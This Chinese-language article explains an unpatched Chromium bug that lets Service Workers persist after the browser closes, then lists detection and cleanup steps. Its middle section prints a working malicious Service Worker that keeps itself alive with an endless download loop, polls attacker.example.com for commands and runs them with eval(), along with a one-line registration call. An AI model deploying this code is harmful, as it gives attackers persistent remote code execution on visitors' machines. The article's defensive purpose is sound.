谷歌最近不小心把一个未修复 Chromium 漏洞的细节公开了——这个漏洞的核心问题:浏览器关掉之后,JavaScript 依然可以通过 Service Worker 在后台持续运行,攻击者借此能在设备上执行远程代码。安全研究员 Lyra Rebane 在 2022 年 12 月就报告了这个漏洞并被确认有效,但修复迟迟没有落地,而泄露让细节提前暴露在了所有人面前。
漏洞机制:Service Worker 的"不死"特性
Service Worker 本身是 Chromium 提供的合法后台执行机制,设计初衷是支持离线缓存、推送通知、后台同步等功能。正常情况下,浏览器关闭后,Service Worker 应该进入休眠或被终止。
但这个漏洞的关键在于:攻击者可以构造一个永远不会自然终止的 Service Worker。最典型的手法是让 Service Worker 持续发起下载任务或其他长耗时操作,使其始终处于"活跃"状态,不会被浏览器的生命周期管理回收。
一旦 Service Worker 拒不死,它就变成了一个驻留在用户设备上的后台进程——可以持续执行 JavaScript、与远程服务器通信、下载并执行更多代码。这本质上就是一个持久化的远程代码执行(RCE)载体。
攻击链拆解
完整的攻击路径大致如下:
- 诱骗访问:用户访问一个恶意站点(或已被入侵的合法站点)。
- 注册 Service Worker:站点通过
navigator.serviceWorker.register()注册一个恶意 Worker 脚本,并设置合理的scope让它接管页面请求。 - 构造不死任务:Worker 内部启动一个永不完成的任务(如循环下载大文件、定时 fetch、保持 WebSocket 连接),阻止浏览器将其回收。
- 浏览器关闭后存活:用户关掉浏览器,甚至关掉所有窗口,Service Worker 仍在后台运行。
- 远程指令执行:Worker 通过定时 fetch 或推送通道从攻击者服务器获取新指令,动态执行任意 JavaScript 代码。
最危险的一点:用户甚至不需要再次访问那个恶意站点。Service Worker 已经注册在浏览器中,它的生命周期独立于任何具体页面。
模拟不死 Service Worker 的核心模式
下面是一个简化演示,展示 Service Worker 如何通过持续任务拒绝被回收。这是用于理解漏洞原理的演示代码,切勿用于恶意目的。
// malicious-sw.js — 演示性 Service Worker 脚本
// 核心思路:通过永不结束的下载循环保持 Worker 活跃
const TARGET_URL = 'https://example.com/largefile.bin'; // 替换为实际大文件 URL
const POLL_INTERVAL = 30_000; // 30 秒轮询一次指令服务器
const CMD_SERVER = 'https://attacker.example.com/cmd';
// 持续下载循环:每次下载完成后立即开始下一次
async function endlessDownload() {
while (true) {
try {
const resp = await fetch(TARGET_URL);
// 读取响应体以消耗完整流,确保下载行为真实发生
await resp.arrayBuffer();
console.log('[sw] download cycle complete, restarting...');
} catch (e) {
// 即使失败也不退出,等一小段时间后重试
console.log('[sw] download failed, retrying in 5s:', e.message);
await new Promise(r => setTimeout(r, 5000));
}
}
}
// 定期从指令服务器获取并执行新代码
async function pollCommands() {
while (true) {
try {
const resp = await fetch(CMD_SERVER);
const cmd = await resp.text();
if (cmd) {
// 动态执行远程指令 —— 这是 RCE 的关键步骤
eval(cmd);
}
} catch (e) {
console.log('[sw] command poll failed:', e.message);
}
await new Promise(r => setTimeout(r, POLL_INTERVAL));
}
}
// 同时启动两个无限循环,确保 Worker 始终有活跃任务
endlessDownload();
pollCommands();
注册这个 Worker 只需一行:
// 在恶意页面上执行
navigator.serviceWorker.register('/malicious-sw.js', { scope: '/' });
用户访问一次该页面,Worker 就注册成功了。之后即使浏览器关闭,只要 Chromium 的后台进程还在,这个 Worker 就会继续运行。
检查和清理:你能做什么
作为开发者或安全运维人员,检测和清除恶意 Service Worker 是应对这类威胁的关键步骤。
检查当前注册的 Service Worker:
# Chromium/Chrome 中打开以下地址查看所有已注册的 Service Worker
# chrome://serviceworker-internals/
# 或通过 DevTools → Application → Service Workers 面板查看
也可以用 JavaScript 在页面上检测:
// 检查当前 origin 下所有注册的 Service Worker
navigator.serviceWorker.getRegistrations().then(regs => {
regs.forEach(reg => {
console.log('SW scope:', reg.scope,
'state:', reg.active?.state,
'scriptURL:', reg.active?.scriptURL);
// 如果发现可疑 scope 或 scriptURL,立即注销
// reg.unregister();
});
});
批量清理所有 Service Worker(紧急处置):
// 一键注销当前 origin 下所有 Service Worker
navigator.serviceWorker.getRegistrations().then(regs => {
regs.forEach(reg => reg.unregister().then(success => {
console.log('Unregistered:', reg.scope, success);
}));
});
从系统层面彻底杀死 Chromium 后台进程:
# Linux/macOS — 杀掉所有 Chrome/Chromium 后台进程
pkill -f chrome
pkill -f chromium
# Windows — PowerShell
Get-Process -Name chrome,chromium | Stop-Process -Force
注意:仅仅关闭浏览器窗口是不够的。Chromium 的后台进程(用于推送通知、后台同步等)可能继续存活,这正是该漏洞赖以生存的环境。
风险边界与现实影响
这个漏洞的严重性取决于几个条件:
- 桌面端影响更大:桌面版 Chromium 关闭窗口后后台进程更容易持续运行;移动端系统对后台进程管控更严格,存活概率相对较低。
- 需要用户访问恶意站点一次:这是唯一的触发门槛,之后完全不需要再次交互。
- eval 远程代码是致命环节:不死 Worker 本身只是持久化载体,但如果加上动态代码执行,就变成了完整的 RCE 链。
- 企业环境风险更高:内网设备一旦被植入不死 Worker,可以长期作为跳板,即使用户重启浏览器也无法清除(除非清除浏览数据或杀掉后台进程)。
应对清单
| 动作 | 说明 |
|---|---|
检查 chrome://serviceworker-internals/ |
识别可疑的 Service Worker 注册 |
| 注销不明 Worker | 用 getRegistrations() + unregister() 清除 |
| 清除浏览数据 | "清除浏览数据"中选择"Cookie 及其他站点数据"会一并清除 Service Worker 注册 |
| 杀掉后台进程 | pkill -f chrome 或系统级强制终止 |
| 关注 Chromium 更新 | 该漏洞尚未修复,后续补丁发布后及时升级 |
| 限制 Service Worker 注册范围 | 站点部署时用最小 scope,避免 / 全局接管 |
这个漏洞暴露了一个架构层面的矛盾:Service Worker 的设计目标是"让 Web 应用像原生应用一样可靠运行",但这个"可靠"恰恰给了攻击者持久化的土壤。在修复落地之前,理解它的存活机制并学会检查和清理,是最实际的防御手段。